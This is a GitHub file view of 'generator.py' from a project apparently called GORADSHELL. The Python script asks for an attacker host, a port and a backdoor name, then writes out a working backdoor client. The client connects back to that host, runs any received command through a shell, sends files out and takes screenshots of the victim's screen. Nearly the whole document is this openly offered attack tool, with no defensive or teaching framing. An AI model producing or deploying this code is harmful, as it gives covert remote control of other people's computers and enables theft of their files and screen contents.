-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathgenerator.py
166 lines (124 loc) · 3.96 KB
/
generator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
#================================================#
#GORADSHELL: V 1.0.0
#AUTHOR:cyberGorad
#DEPOT :https://github.com/cybergorad/goradshell
#TEAM: cybeXus
#================================================#
import time
import os
#FUNCTION
#=========================================
def get_port_number():
try:
port = input("[*] RPORT >> ")
return int(port)
except Exception :
get_port_number()
def get_host():
try:
host = input("[*] RHOST >> ")
return str(host)
except Exception :
get_host()
def backdoor_name():
B_name = input("[*] Name of Backdoor >> ")
return B_name
host = '"' + str(get_host()) + '"'
port = str(get_port_number())
names = backdoor_name()
#=========================================
content = f"""
import os
import time
import subprocess
import platform
import socket
from PIL import ImageGrab
from colorama import Fore, Style
import pyfiglet
import random
HOST_IP = {host}
HOST_PORT = {port}
MAX_DATA_SIZE = 1024
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST_IP, HOST_PORT))
except ConnectionRefusedError:
list_index = [0, 1, 2] #Utilisation des listes
error_list = ["[-] ACCESS DENIED , SERVER REFUSING CONNECTION...", "[-] SERVER MAY BE DOWN TRY AGAIN LATER", "[-] DRINK COFFE AND TRY AGAIN LATER :)"]
error_message = random.choice(list_index)
print(Fore.RED + error_list[error_message] + Style.RESET_ALL)
time.sleep(5)
else:
print("[+] Connected IP:" ,HOST_IP + "| HOST_PORT:" , HOST_PORT)
break
#reception des commandes du server
while True:
commande_data = s.recv(MAX_DATA_SIZE)
if not commande_data:
break
commande = commande_data.decode()
if commande == "exit":
break
commande_split = commande.split(" ")
#commande pour obtenir les infos du client
if commande == "infos":
reponse = platform.platform() + " " + os.getcwd()
reponse = reponse.encode()
elif commande == "ip":
commande = "ifconfig".encode()
elif len(commande_split) == 2 and commande_split[0] == "cd":
try:
#redirection vers le repertoire designer
os.chdir(commande_split[1].strip("'"))
reponse = " "
except FileNotFoundError:
reponse = "ERROR: not found"
reponse = reponse.encode()
#commande de telechargement
elif len(commande_split) == 2 and commande_split[0] == "dl":
try:
f = open(commande_split[1], "rb")
except FileNotFoundError:
reponse = " ".encode()
else:
reponse = f.read()
f.close()
#commande de capture d'ecran avec extension par defaut .png
elif len(commande_split) == 2 and commande_split[0] == "capture":
capture_ecran = ImageGrab.grab()
capture_filename = commande_split[1] + ".png"
capture_ecran.save(capture_filename, "PNG")
try:
f = open(capture_filename, "rb")
except FileNotFoundError:
reponse = " ".encode()
else:
reponse = f.read()
f.close()
#lecture du ligne de commande
else:
result = subprocess.run(commande, shell = True, capture_output= True, universal_newlines= True)
reponse = result.stdout + result.stderr
if not reponse or len(reponse) == 0:
reponse = " "
reponse = reponse.encode()
# reponse encode
data_len = len(reponse)
header = str(len(reponse)).zfill(13)
s.sendall(header.encode())
if data_len > 0:
s.sendall(reponse)
s.close()
"""
try:
with open(names + ".py", "w") as file:
file.write(content)
_names_ = names + ".py"
print("[+] Generating content ... ")
time.sleep(5)
print(f"[+] Files created successfully...")
print(f"Saved on:{os.getcwd()}/{_names_} .")
except:
print("Something went wrong..")